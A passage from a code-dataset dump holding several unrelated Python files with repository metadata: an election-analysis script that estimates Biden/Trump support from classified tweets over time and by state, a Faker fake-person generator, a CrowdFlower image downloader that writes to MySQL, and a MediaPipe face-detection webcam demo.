t.user_id\n if uid not in users:\n users[uid] = [0, 0] # Biden and Trump\n users[uid][t.camp] += 1\n print(\"# of users:\", len(users))\n with open(f\"data/users-day-0.66/{now.to_date_string()}.csv\", \"w\") as f:\n f.write(\"uid,0,1\\n\")\n for u, v in users.items():\n f.write(f\"{u},{v[0]},{v[1]}\\n\")\n\n\ndef save_user_csv(sess, start, end):\n for dt in pendulum.period(start, end.add(days=-1)):\n print(dt)\n save_user_snapshot(sess, dt)\n\n\n# def read_users_from_csv(in_name):\n# print(\"Reading users from csv ...\", in_name)\n# users = pd.read_csv(in_name).set_index(\"uid\").T.to_dict()\n# _users = {}\n# for u, v in users.items():\n# _users[u] = np.array([v[\"0\"], v[\"1\"]])\n# print(\"# of users:\", len(_users))\n# return _users\ndef read_users_from_csv(in_name):\n print(\"Loading users from:\", in_name)\n users = {}\n for line in tqdm(open(in_name)):\n if line.startswith(\"uid\"):\n continue\n uid, v0, v1 = line.strip().split(\",\")\n if uid in all_bots:\n continue\n users[uid] = [int(v0), int(v1)] # 0 for Biden, 1 for Trump\n print(\"# of users:\", len(users))\n return users\n\n\ndef read_users_from_json(in_name):\n print(\"Loading users from:\", in_name)\n if os.path.exists(in_name):\n users = json.load(open(in_name))\n else:\n print(\"Not exist\")\n users = {}\n print(\"# of users:\", len(users))\n return users\n\n\n# def read_users_from_csv_from_uids(in_name, set_uids):\n# print(\"Reading users from csv ...\", in_name)\n# users = pd.read_csv(in_name).set_index(\"uid\").T.to_dict()\n# _users = {}\n# for u, v in users.items():\n# if u in set_uids:\n# _users[u] = np.array([v[\"0\"], v[\"1\"]])\n# print(\"# of users:\", len(_users))\n# return _users\ndef read_users_from_csv_from_uids(in_name, set_uids):\n print(\"Loading users from:\", in_name)\n users = {}\n for line in open(in_name):\n if line.startswith(\"uid\"):\n continue\n uid, v0, v1 = line.strip().split(\",\")\n if uid in set_uids:\n users[uid] = [int(v0), int(v1)]\n print(\"# of users:\", len(users))\n return users\n\n\ndef union_users_from_dict(users_groups):\n all_users = {}\n for users in users_groups:\n for u, v in users.items():\n if u not in all_users:\n all_users[u] = v\n else:\n all_users[u][0] += v[0]\n all_users[u][1] += v[1]\n return all_users\n\n\ndef union_users_from_yesterday_and_today(yes_users, today_users):\n all_users = yes_users\n for u, v in today_users.items():\n if u not in all_users:\n all_users[u] = [0, 0]\n all_users[u][0] += v[0]\n all_users[u][1] += v[1]\n return all_users\n\n\ndef write_union_users_csv(union_users_dict, out_dir, dt):\n print(\"Saving ...\", f\"disk/{out_dir}/{dt}.csv\")\n with open(f\"disk/{out_dir}/{dt}.csv\", \"w\") as f:\n f.write(\"uid,0,1\\n\")\n for u, v in union_users_dict.items():\n f.write(f\"{u},{v[0]},{v[1]}\\n\")\n\n\ndef write_union_users_json(union_users_dict, out_dir, dt):\n print(\"Saving ...\", f\"data/{out_dir}/{dt}.csv\")\n # set_users_county = set([str(json.loads(line.strip())[\"id\"]) for line in open(\"data/County_users.lj\")])\n # union_users_dict_county = {uid: v for uid, v in union_users_dict.items() if uid in set_users_county}\n with open(f\"data/{out_dir}/{dt}.json\", \"w\") as f:\n json.dump(union_users_dict, f)\n # json.dump(union_users_dict_county, f)\n\n\ndef write_union_users_csv_v2(union_users_dict, out_dir, dt):\n # 需要结合已有数据，减少数据保存量\n num2label = {\n 0: \"JB\",\n 1: \"DT\",\n }\n print(\"saving ...\", f\"disk/{out_dir}/{dt}.csv\")\n rsts = []\n if union_users_dict:\n for u, v in union_users_dict.items():\n if u in SET_USERS:\n max_i = v.argmax()\n rsts.append({\"uid\": u, \"Camp\": num2label[max_i]})\n\n _users = pd.DataFrame(rsts).set_index(\"uid\").join(\n USERS_STSTE_GENDER_AGE, how=\"inner\")\n _users.to_csv(f\"disk/{out_dir}/{dt}.csv\")\n\n\ndef get_share_from_users_dict(users_dict):\n counts = {\n 0: 0, # Biden\n 1: 0, # Trump\n 2: 0, # Undecided\n }\n for _, v in users_dict.items():\n if v[0] > v[1]:\n counts[0] += 1\n elif v[0] < v[1]:\n counts[1] += 1\n elif v[0] == v[1]:\n # elif v[0] == v[1] and v[0] > 0:\n counts[2] += 1\n return counts\n\n\ndef get_share_from_csv(csv_name):\n users_dict = read_users_from_csv(csv_name)\n return get_share_from_users_dict(users_dict)\n\n\ndef calculate_window_share_size_1(start, end, save_csv=True):\n rsts = []\n for dt in pendulum.period(start, end):\n _u = read_users_from_csv(f\"data/users-day/{dt.to_date_string()}.csv\")\n rst = get_share_from_users_dict(_u)\n rst[\"dt\"] = dt.to_date_string()\n print(rst)\n rsts.append(rst)\n\n if save_csv:\n rsts = pd.DataFrame(rsts).set_index(\"dt\")\n rsts.to_csv(f\"data/csv/results-1day-from-{start.to_date_string()}-to-{end.to_date_string()}.csv\")\n\n\ndef calculate_window_share(start, end, win=14, model_version=\"v1\", p=0.5, save_users=True):\n \"\"\"VIP 1\n\n Args:\n start ([type]): [description]\n end ([type]): [description]\n win (int, optional): [description]. Defaults to 14.\n save_csv (bool, optional): [description]. Defaults to True.\n \"\"\"\n rsts = []\n users_cache = {}\n\n for dt in pendulum.period(start, end):\n\n if dt == start:\n continue\n # print(dt)\n win_dts = pendulum.period(dt.add(days=-win), dt.add(days=-1))\n\n users_groups = []\n for win_dt in win_dts:\n win_dt_str = win_dt.to_date_string()\n if win_dt_str in users_cache:\n _u = users_cache[win_dt_str]\n else:\n # if win_dt_str < \"2020-05-01\":\n # _u = read_users_from_json(f\"data/users-day-onlyTB/{win_dt_str}.json\")\n # else:\n # _u = read_users_from_json(f\"data/users-day/{win_dt_str}.json\")\n if win_dt_str < \"2020-04-01\":\n _u = read_users_from_json(f\"data/users-day-v2-{p}/{win_dt_str}.json\")\n else:\n _u = read_users_from_json(f\"data/users-day-{model_version}-{p}/{win_dt_str}.json\")\n users_cache[win_dt_str] = _u\n users_groups.append(_u)\n\n users_cache.pop(dt.add(days=-win).to_date_string())\n\n union_users_dict = union_users_from_dict(users_groups)\n if save_users and dt.day_of_week == 1:\n # write_union_users_json(union_users_dict, f\"users-{win}days\", dt.to_date_string())\n # write_union_users_json(union_users_dict, f\"users-{win}days-onlyTB\", dt.to_date_string())\n write_union_users_json(union_users_dict, f\"users-{win}days-{model_version}-{p}\", dt.to_date_string())\n\n rst = get_share_from_users_dict(union_users_dict)\n rst[\"dt\"] = dt.to_date_string()\n print(rst)\n rsts.append(rst)\n\n rsts = pd.DataFrame(rsts).set_index(\"dt\")\n rsts = rsts.rename(columns={0: \"Biden\", 1: \"Trump\", 2: \"Undecided\"})\n rsts.to_csv(f\"data/csv/{win}days-from-{start.to_date_string()}-to-{end.to_date_string()}-{model_version}-{p}.csv\")\n\n\ndef calculate_cumulative_share(start, end, super_start_month=\"01\", model_version=\"v1\", p=0.5, save_users=False):\n \"\"\"VIP 2\n\n Args:\n start ([type]): [description]\n end ([type]): [description]\n super_start_month (str, optional): [description]. Defaults to \"01\".\n save_users (bool, optional): [description]. Defaults to True.\n save_db (bool, optional): [description]. Defaults to False.\n\n Returns:\n [type]: [description]\n \"\"\"\n # from super_start (include) to -1\n if super_start_month == \"01\":\n super_start = pendulum.datetime(2020, 1, 1)\n elif super_start_month == \"06\":\n super_start = pendulum.datetime(2020, 6, 1)\n else:\n super_start = \"Unknown super_start_month\"\n\n rsts = []\n # super_start = start\n yesterday_users = None\n\n for dt in pendulum.period(start, end):\n if dt <= super_start:\n print(\"Error: start <= super_start.\")\n return -1\n\n elif dt == super_start.add(days=1): # 从第二天开始\n super_start_string = super_start.to_date_string()\n if super_start_string < \"2020-04-01\":\n union_users_dict = read_users_from_json(f\"data/users-day-v2-{p}/{super_start_string}.json\") # 只有v2所有日期都有\n else:\n union_users_dict = read_users_from_json(f\"data/users-day-{model_version}-{p}/{super_start_string}.json\")\n # union_users_dict = read_users_from_json(f\"data/users-day-onlyTB-{p}/{super_start.to_date_string()}.json\")\n # if dt.to_date_string() < \"2020-09-01\":\n # union_users_dict = read_users_from_json(f\"data/users-day-{p}/{super_start.to_date_string()}.json\")\n # else: qwer er\n # union_users_dict = read_users_from_json(f\"data/users-day-v1-{p}/{super_start.to_date_string()}.json\")\n print(\"Loading data on super_start ...\", super_start_string)\n # write_union_users_json(union_users_dict, f\"users-cumFrom{super_start_month}\", dt.to_date_string())\n # write_union_users_json(union_users_dict, f\"users-cumFrom{super_start_month}-onlyTB\", dt.to_date_string())\n write_union_users_json(union_users_dict, f\"users-cumFrom{super_start_month}-{model_version}-{p}\", dt.to_date_string())\n\n else:\n # just from the cumulative yesterday\n # So I must have the yesterday's cumulative csv\n yes_str = dt.add(days=-1).to_date_string()\n\n if yesterday_users is None:\n print(\"Loading yesterday users' json at （载入初始数据）\", dt.add(days=-1))\n yesterday_users = read_users_from_json(\n # f\"disk/users-cumFrom{super_start_month}/{dt.add(days=-1).to_date_string()}.json\")\n # f\"disk/users-cumFrom{super_start_month}-onlyTB/{dt.add(days=-1).to_date_string()}.json\")\n f\"disk/users-cumFrom{super_start_month}-{model_version}-{p}/{yes_str}.json\")\n \n if yes_str < \"2020-04-01\":\n yes_users = read_users_from_json(f\"data/users-day-v2-{p}/{yes_str}.json\")\n else:\n yes_users = read_users_from_json(f\"data/users-day-{model_version}-{p}/{yes_str}.json\")\n # if yes_str < \"2020-09-01\":\n # yes_users = read_users_from_json(f\"data/users-day-{model_version}-{p}/{yes_str}.json\")\n # else:\n # yes_users = read_users_from_json(f\"data/users-day-{model_version}-{p}/{yes_str}.json\")\n union_users_dict = union_users_from_yesterday_and_today(yesterday_users, yes_users)\n yesterday_users = union_users_dict # Today will be the yesterday.\n \n if (save_users and dt.day_of_week) == 1 or dt == end:\n write_union_users_json(union_users_dict, f\"users-cumFrom{super_start_month}-{model_version}-{p}\", dt.to_date_string())\n\n rst = get_share_from_users_dict(union_users_dict)\n rst[\"dt\"] = dt.to_date_string()\n print(rst)\n rsts.append(rst)\n\n pd_rsts = pd.DataFrame(rsts).set_index(\"dt\")\n pd_rsts.index = pd.to_datetime(pd_rsts.index)\n pd_rsts = pd_rsts.rename(columns={0: \"Biden\", 1: \"Trump\", 2: \"Undecided\"})\n pd_rsts.to_csv(f\"data/csv/cumFrom{super_start_month}-from-{start.to_date_string()}-to-{end.to_date_string()}-{model_version}-{p}.csv\")\n \n\ndef calculate_t0_share(start, super_end, save_csv=None):\n rsts = []\n\n # super_start = start\n next_users = None\n\n for i, dt in enumerate(pendulum.period(super_end, start)):\n print(i, dt)\n\n if dt == super_end:\n union_users_dict = read_users_from_csv(\n f\"data/users-day_after_BT_m2_all/{super_end.add(days=-1).to_date_string()}.csv\")\n write_union_users_csv(\n union_users_dict, f\"users-To{super_end.to_date_string()}\", \"1\")\n\n else:\n if next_users is None:\n print(\"Loading next users' csv.\")\n next_users = read_users_from_csv(\n f\"disk/users-To{super_end.to_date_string()}/1.csv\")\n\n today_users = read_users_from_csv(\n f\"data/users-day_after_BT_m2_all/{dt.add(days=-1).to_date_string()}.csv\")\n union_users_dict = union_users_from_yesterday_and_today(\n today_users, next_users)\n next_users = union_users_dict\n write_union_users_csv_v2(\n union_users_dict, f\"users-To{super_end.to_date_string()}\", str(i+1))\n\n rst = get_share_from_users_dict(union_users_dict)\n rst[\"dt\"] = dt.to_date_string()\n print(rst)\n rsts.append(rst)\n\n rsts = pd.DataFrame(rsts).set_index(\"dt\")\n\n if save_csv:\n rsts.to_csv(f\"data/csv/results-To{super_end.to_date_string()}.csv\")\n\n return rsts\n\n\ndef load_df_user_loc(dt):\n print(\"Loading df_user_loc ...\")\n df_users = pd.read_csv(f\"disk/users-location/{dt.to_date_string()}.csv\",\n usecols=[\"uid\", \"state\"]).set_index(\"uid\")\n return df_users\n\n\ndef predict_from_location_from_csv(csv_file, save_csv=None):\n df_user = load_df_user_loc(\"?\")\n users_dict = read_users_from_csv(csv_file)\n rsts = []\n for _s in US_states:\n uid_in_s = set(df_user[df_user.state == _s].index)\n users_in_s = {u: v for u, v in users_dict.items() if u in uid_in_s}\n print(_s, len(uid_in_s), len(users_dict))\n # write_union_users_csv(users_dict, out_dir, _s + \".csv\")\n rst = get_share_from_users_dict(users_in_s)\n rst[\"state\"] = _s\n print(rst)\n rsts.append(rst)\n rsts = pd.DataFrame(rsts).set_index(\"state\")\n\n if save_csv:\n rsts.to_csv(save_csv)\n\n\ndef read_located_users():\n users = []\n user_ids = set()\n for line in open(\"data/located_users.lj\"):\n u = json.loads(line.strip())\n _uid = str(u[\"user_id\"])\n if u[\"user_id\"] not in user_ids:\n users.append({\"uid\": _uid, \"state\": u[\"State\"]})\n user_ids.add(_uid)\n for line in open(\"data/located_users_Jan_March.lj\"):\n u = json.loads(line.strip())\n _uid = str(u[\"user_id\"])\n if u[\"user_id\"] not in user_ids:\n users.append({\"uid\": _uid, \"state\": u[\"State\"]})\n user_ids.add(_uid)\n return pd.DataFrame(users).set_index(\"uid\")\n\n\ndef predict_from_location(start, end, in_dir, save_users=False):\n # df_user = load_df_user_loc(end)\n df_user = read_located_users()\n print(df_user[\"state\"].value_counts())\n df_state_user = {}\n df_state_user[\"USA\"] = set(df_user.index)\n for _s in US_states:\n uid_in_s = set(df_user[df_user.state == _s].index)\n df_state_user[_s] = uid_in_s\n\n rsts = []\n for dt in pendulum.period(start, end):\n if dt == start or dt.day_of_week != 1:\n continue\n print(\"Date >\", dt)\n json_file = f\"data/users-{in_dir}/{dt.to_date_string()}.json\"\n users_dict = read_users_from_json(json_file)\n # country\n uid_in_s = df_state_user[\"USA\"]\n users_in_s = {u: v for u, v in users_dict.items() if u in uid_in_s}\n print(\"USA\", len(uid_in_s), len(users_in_s)) # 州，该州多少用户，命中多少用户\n rst = get_share_from_users_dict(users_in_s)\n rst[\"id\"] = \"USA:\" + dt.to_date_string()\n rst[\"dt\"] = dt.to_date_string()\n rst[\"state\"] = \"USA\"\n print(rst)\n rsts.append(rst)\n\n if dt.day_of_week == 1 and save_users:\n write_union_users_json(users_dict, in_dir + \"_loc\", dt.to_date_string() + \"-\" + _s)\n\n # 选择每个洲的结果\n for _s in US_states:\n uid_in_s = df_state_user[_s]\n users_in_s = {u: v for u, v in users_dict.items() if u in uid_in_s}\n print(_s, len(uid_in_s), len(users_in_s)) # 州，该州多少用户，命中多少用户\n rst = get_share_from_users_dict(users_in_s)\n rst[\"id\"] = _s + \":\" + dt.to_date_string()\n rst[\"dt\"] = dt.to_date_string()\n rst[\"state\"] = _s\n print(rst)\n rsts.append(rst)\n\n rsts = pd.DataFrame(rsts).set_index(\"id\")\n rsts.to_csv(f\"data/csv/states-{in_dir}-from-{start.to_date_string()}-to-{end.to_date_string()}.csv\")\n\n return rsts\n\n\ndef predict_t0_from_location(in_dir, state):\n df_user = load_df_user_loc()\n uid_in_s = set(df_user[df_user.state == state].index)\n\n rsts = []\n for i in range(1, 31):\n csv_file = f\"disk/users-To{in_dir}/{i}.csv\"\n users_dict = read_users_from_csv(csv_file)\n users_in_s = {u: v for u, v in users_dict.items() if u in uid_in_s}\n print(state, len(uid_in_s), len(users_dict))\n rst = get_share_from_users_dict(users_in_s)\n rst[\"days\"] = i\n rst[\"state\"] = state\n print(rst)\n rsts.append(rst)\n\n rsts = pd.DataFrame(rsts).set_index(\"days\")\n rsts.to_csv(f\"data/csv/results-t0-{state}.csv\")\n\n\ndef predict_from_location_superStart(start, end, state):\n \"\"\"\n each state have the super_start\n \"\"\"\n import pathlib\n\n df_user = load_df_user_loc(end)\n uid_in_s = set(df_user[df_user.state == state].index)\n\n superStart_of_states = {\n \"IA\": pendulum.datetime(2020, 2, 1, tz=\"UTC\"), # IA\n \"NH\": pendulum.datetime(2020, 2, 3, tz=\"UTC\"), # NH\n # \"NV\": pendulum.datetime(2020, 1, 22, tz=\"UTC\"), # NV\n }\n\n super_start = superStart_of_states[state]\n # super_start = start\n yesterday_users = None\n\n pathlib.Path(\n f\"disk/users-From{super_start.to_date_string()}-{state}\").mkdir(exist_ok=True)\n\n rsts = []\n for dt in pendulum.period(start, end):\n\n if dt <= super_start: # start in the function is always the next day of super_start\n print(\"Error: start <= super_start of cumulative prediction.\")\n return -1\n\n elif dt == super_start.add(days=1):\n union_users_dict = read_users_from_csv_from_uids(\n f\"data/users-day/{super_start.to_date_string()}.csv\", uid_in_s)\n write_union_users_csv(\n union_users_dict, f\"users-From{super_start.to_date_string()}-{state}\", dt.to_date_string())\n\n else:\n # just from the cumulative yesterday\n # So I must have the yesterday's cumulative csv\n if yesterday_users is None:\n print(\"Loading yesterday users' csv at\", dt.add(days=-1))\n yesterday_users = read_users_from_csv_from_uids(\n f\"disk/users-From{super_start.to_date_string()}-{state}/{dt.add(days=-1).to_date_string()}.csv\",\n uid_in_s)\n today_users = read_users_from_csv_from_uids(\n f\"data/users-day/{dt.add(days=-1).to_date_string()}.csv\", uid_in_s)\n union_users_dict = union_users_from_yesterday_and_today(\n yesterday_users, today_users)\n yesterday_users = union_users_dict\n\n if dt == end:\n print(\"Writing cumulative users' csv at\", dt)\n write_union_users_csv(\n union_users_dict, f\"users-From{super_start.to_date_string()}-{state}\", dt.to_date_string())\n\n rst = get_share_from_users_dict(union_users_dict)\n rst[\"dt\"] = dt.to_date_string()\n rst[\"state\"] = state\n print(rst)\n rsts.append(rst)\n\n rsts = pd.DataFrame(rsts).set_index(\"dt\")\n rsts.to_csv(\n f\"data/csv/results-From{super_start.to_date_string()}-{state}-from-{start.to_date_string()}-to-{end.to_date_string()}.csv\")\n\n\ndef daily_prediction():\n end = pendulum.today(tz=\"UTC\") # not include this date\n start = pendulum.yesterday(tz=\"UTC\") # include this date\n\n # nation From01\n calculate_cumulative_share(start, end, super_start_month=\"01\")\n\n # states 40days\n calculate_window_share(start, end, win=40)\n predict_from_location(start, end, out_dir=\"40days\")\n\n\nif __name__ == \"__main__\":\n # v1 > only Trump and Biden\n # v2 > Republicans and Democrats\n in_dir = \"F:/US2020_data/classification\"\n\n file_name_tweets_prediction = [\n f\"{in_dir}/20200910-tweets-prediction-v1.txt\",\n f\"{in_dir}/202008-tweets-prediction-v1.txt\",\n f\"{in_dir}/202007-tweets-prediction-v1.txt\",\n f\"{in_dir}/202006-tweets-prediction-v1.txt\",\n f\"{in_dir}/202005-tweets-prediction-v1.txt\",\n f\"{in_dir}/202004-tweets-prediction-v1.txt\",\n ]\n # 已经去掉bots\n # save_user_snapshot_json(file_name_tweets_prediction, model_version=\"v1\", p=0.5)\n # save_user_snapshot_json(file_name_tweets_prediction, model_version=\"v1\", p=0.66)\n\n file_name_tweets_prediction = [\n f\"{in_dir}/20200910-tweets-prediction-v2.txt\",\n f\"{in_dir}/202008-tweets-prediction-v2.txt\",\n f\"{in_dir}/202007-tweets-prediction-v2.txt\",\n f\"{in_dir}/202006-tweets-prediction-v2.txt\",\n f\"{in_dir}/202005-tweets-prediction-v2.txt\",\n f\"{in_dir}/202004-tweets-prediction-v2.txt\",\n f\"{in_dir}/202003-tweets-prediction-v2.txt\",\n f\"{in_dir}/202002-tweets-prediction-v2.txt\",\n f\"{in_dir}/202001-tweets-prediction-v2.txt\",\n ]\n # save_user_snapshot_json(file_name_tweets_prediction, model_version=\"v2\", p=0.5)\n # save_user_snapshot_json(file_name_tweets_prediction, model_version=\"v2\", p=0.66)\n\n # start = pendulum.datetime(2020, 1, 1, tz=\"UTC\")\n # end = pendulum.datetime(2020, 6, 1, tz=\"UTC\")\n # sess = get_session_2()\n # # -- to database --\n # # tweets_to_db(sess, start, end, clear=True) \n # # -- save users' snapshot --\n # save_user_csv(sess, start, end)\n # sess.close()\n\n # run it per day\n # daily_prediction()\n\n # -- window start --\n # 1 day\n # start = pendulum.datetime(2020, 1, 8, tz=\"UTC\")\n # end = pendulum.datetime(2020, 7, 19, tz=\"UTC\")\n # calculate_window_share_size_1(start, end, save_csv=True)\n\n # 7 days\n # start = pendulum.datetime(2020, 1, 8, tz=\"UTC\")\n # end = pendulum.datetime(2020, 2, 26, tz=\"UTC\")\n # calculate_window_share(start, end, win=7, save_csv=True)\n\n # 14 days\n start = pendulum.datetime(2020, 1, 14, tz=\"UTC\")\n end = pendulum.datetime(2020, 10, 31, tz=\"UTC\")\n calculate_window_share(start, end, win=14, model_version=\"v1\", p=0.5)\n calculate_window_share(start, end, win=14, model_version=\"v1\", p=0.66)\n\n # calculate_window_share(start, end, win=14, model_version=\"v2\", p=0.5)\n # calculate_window_share(start, end, win=14, model_version=\"v2\", p=0.66)\n # calculate_window_share(start, end, win=14, p=0.7)\n # -- window end --\n\n # -- cumulative start --\n start = pendulum.datetime(2020, 1, 2, tz=\"UTC\")\n end = pendulum.datetime(2020, 10, 31, tz=\"UTC\")\n calculate_cumulative_share(start, end, super_start_month=\"01\", model_version=\"v1\", p=0.5)\n calculate_cumulative_share(start, end, super_start_month=\"01\", model_version=\"v1\", p=0.66)\n\n # calculate_cumulative_share(start, end, super_start_month=\"01\", model_version=\"v2\", p=0.5)\n # calculate_cumulative_share(start, end, super_start_month=\"01\", model_version=\"v2\", p=0.66) \n # calculate_cumulative_share(start, end, super_start_month=\"01\", p=0.7)\n # -- cumulative end --\n\n # for states\n # start = pendulum.datetime(2020, 1, 15, tz=\"UTC\")\n # end = pendulum.datetime(2020, 10, 20, tz=\"UTC\")\n # predict_from_location(start, end, in_dir=\"14days\", save_users=True)\n\n # start = pendulum.datetime(2020, 1, 2, tz=\"UTC\")\n # end = pendulum.datetime(2020, 10, 20, tz=\"UTC\")\n # predict_from_location(start, end, in_dir=\"cumFrom01\", save_users=False)\n\n # only-TB: 1~3月只有川普和拜登\n # start = pendulum.datetime(2020, 6, 2, tz=\"UTC\")\n # end = pendulum.datetime(2020, 10, 10, tz=\"UTC\")\n # predict_from_location(start, end, out_dir=\"cumFrom06\", save_users=True)\n\n # t0\n # start = pendulum.datetime(2019, 9, 4, tz=\"UTC\")\n # end = pendulum.datetime(2020, 3, 10, tz=\"UTC\")\n # calculate_t0_share(start, end, save_csv=True)\n\n # start = pendulum.datetime(2020, 1, 11, tz=\"UTC\")\n # end = pendulum.datetime(2020, 2, 11, tz=\"UTC\")\n # calculate_t0_share(start, end, save_csv=True)\n\n # start = pendulum.datetime(2020, 1, 3, tz=\"UTC\")\n # end = pendulum.datetime(2020, 2, 3, tz=\"UTC\")\n # calculate_t0_share(start, end, save_csv=True)\n\n # t0 state\n # predict_t0_from_location(\"2020-02-03\", \"IA\")\n # predict_t0_from_location(\"2020-02-11\", \"NH\")\n # predict_t0_from_location(\"2020-02-22\", \"NV\")\n\n # different initial dates for states\n # end = pendulum.datetime(2020, 3, 2, tz=\"UTC\")\n\n # start = pendulum.datetime(2020, 2, 2, tz=\"UTC\")\n # predict_from_location_superStart(start, end, \"IA\")\n\n # start = pendulum.datetime(2020, 2, 4, tz=\"UTC\")\n # predict_from_location_superStart(start, end, \"NH\")\n", "repo_name": "kayzhou/US_election", "sub_path": "prediction_from_db.py", "file_name": "prediction_from_db.py", "file_ext": "py", "file_size_in_byte": 29381, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tqdm.tqdm", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path", "line_number": 146, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 582, "usage_type": "call"}]} {"seq_id": "17209763940", "text": "from faker import Faker\nimport json\nimport datetime\nimport random\n\nclass Person:\n def __init__(self):\n fake = Faker('es_ES')\n self.nombre = fake.first_name()\n self.apellido = fake.last_name()\n self.username = self.nombre[:3] + self.apellido[:3]\n self.email = fake.email()\n self.telefono = fake.phone_number()\n self.ciudad = fake.city()\n self.numcuenta = fake.bban()\n self.nacimiento = fake.date_of_birth(minimum_age=18,maximum_age=100)\n #self.historial = [Operation().get_item() for i in range(random.randint(0,10))]\n\n def get_item(self,i):\n p = {\n 'id_persona': i,\n 'nombre': self.nombre,\n 'apellido': self.apellido,\n 'username': self.username,\n 'email': self.email,\n 'telefono': self.telefono,\n 'ciudad': self.ciudad,\n 'numcuenta': self.numcuenta,\n 'nacimiento': self.nacimiento.strftime('%m/%d/%Y')#,\n #'historial de ventas': self.historial\n }\n return (p)\n", "repo_name": "pgomezsolidq/FakePythonTestData", "sub_path": "Stage 2/Store.py", "file_name": "Store.py", "file_ext": "py", "file_size_in_byte": 1066, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "faker.Faker", "line_number": 8, "usage_type": "call"}]} {"seq_id": "19617521072", "text": "\"\"\"\nPuts crowdflower data in MySQL and downloads transformed images\n\"\"\"\n\nimport os\nfrom Python_code import sql_connect as mysql\nimport pandas as pd\nfrom PIL import Image\nfrom io import BytesIO\nimport requests\nimport platform\n\nif platform.platform()[:5] == 'Linux':\n FILE_PATH = '/home/ec2-user/crowdflower_images/'\nelse:\n IMAGE_DIR = '/Volumes/NeuralNet/crowdflower_images/'\n\ndef download_image(url, image_id):\n response = requests.get(url)\n img = Image.open(BytesIO(response.content))\n img = img.resize((400, 400), Image.ANTIALIAS)\n filename = FILE_PATH + str(image_id) + '.jpg'\n img.save(filename)\n\n\ndef add_to_db(image_id, sentiment, unclear_sentiment, image_url):\n connection = mysql.connect()\n with connection.cursor() as cursor:\n sql = 'INSERT INTO Crowdflower ( ' \\\n 'image_id, sentiment, unclear_sentiment, image_url)' \\\n 'VALUES (%s, %s, %s, %s)'\n cursor.execute(sql, (image_id, sentiment, unclear_sentiment, image_url))\n connection.commit()\n connection.close()\n\n\ncurr_dir = os.getcwd()\nos.chdir(curr_dir[:-18] + 'Data/test_data')\n\ncf_images = pd.read_csv('Sentiment-Polarity-DFE.csv')\n\n\n\nfor row in range(len(cf_images)):\n image_id = int(cf_images.at[row,'_unit_id'])\n sentiment = 1 \\\n if 'ositive' in \\\n cf_images.at[row, 'which_of_these_sentiment_scores_does_the_above_image_fit_into_best'] \\\n else -1\n unclear_sentiment = 0 \\\n if cf_images.at[row, 'which_of_these_sentiment_scores_does_the_above_image_fit_into_best:confidence'] > .66 \\\n else 1\n image_url = cf_images.at[row, 'imageurl']\n download_image(image_url, image_id)\n add_to_db(image_id, sentiment, unclear_sentiment, image_url)\n if row % 100 == 0:\n print(row)\n", "repo_name": "asterix135/CKME136", "sub_path": "Python_code/images/download_crowdflower.py", "file_name": "download_crowdflower.py", "file_ext": "py", "file_size_in_byte": 1771, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "platform.platform", "line_number": 13, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 19, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 20, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 20, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 20, "usage_type": "call"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 21, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 21, "usage_type": "name"}, {"api_name": "Python_code.sql_connect.connect", "line_number": 27, "usage_type": "call"}, {"api_name": "Python_code.sql_connect", "line_number": 27, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 37, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 40, "usage_type": "call"}]} {"seq_id": "74099630012", "text": "import cv2\nimport mediapipe as mp\n\nmpFaces = mp.solutions.face_detection\nfaces = mpFaces.FaceDetection()\nmp_draw = mp.solutions.drawing_utils\n\ncap = cv2.VideoCapture(0)\n\nwhile True:\n ret, frame = cap.read()\n\n frameRGB = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n results = faces.process(frame)\n\n if results.detections:\n for id, detection in enumerate(results.detections):\n # mp_draw.draw_detection(frame, detection)\n # print(detection.location_data.relative_bounding_box)\n boxC = detection.location_data.relative_bounding_box\n h, w, c = frame.shape\n box = int(boxC.xmin * w), int(boxC.ymin * h), int(boxC.width * w), int(boxC.height * h)\n cv2.rectangle(frame, box, (182, 24, 82), 1)\n cv2.putText(frame, f'{int(detection.score[0] * 100)}%', (box[0], box[1] - 10), cv2.FONT_HERSHEY_PLAIN, 1,\n (12, 112, 88), 2)\n x, y, w1, h1 = box\n x1, y1 = x + w1, y + h1\n cv2.line(frame, (x, y), (x + 30, y), (182, 24, 82), 4)\n cv2.line(frame, (x, y), (x, y + 30), (182, 24, 82), 4)\n cv2.line(frame, (x1, y), (x1 - 30, y), (182, 24, 82), 4)\n cv2.line(frame, (x1, y), (x1, y + 30), (182, 24, 82), 4)\n cv2.line(frame, (x, y1), (x + 30, y1), (182, 24, 82), 4)\n cv2.line(frame, (x, y1), (x, y1 - 30), (182, 24, 82), 4)\n cv2.line(frame, (x1, y1), (x1 - 30, y1), (182, 24, 82), 4)\n cv2.line(frame, (x1, y1), (x1, y1 - 30), (182, 24, 82), 4)\n\n cv2.imshow(\"image\", frame)\n\n if cv2.waitKey(1) & 0xff is 27:\n break\n\ncap.release()\ncv2.destroyAllWindows()", "repo_name": "vinal-gadhiya/mediapipe_projects", "sub_path": "face_detection.py", "file_name": "face_detection.py", "file_ext": "py", "file_size_in_byte": 1665, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "mediapipe.solutions", "line_number": 4, "usage_type": "attribute"}, {"api_name": "mediapipe.solutions", "line_number": 6, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 8, "usage_type": "call"}, 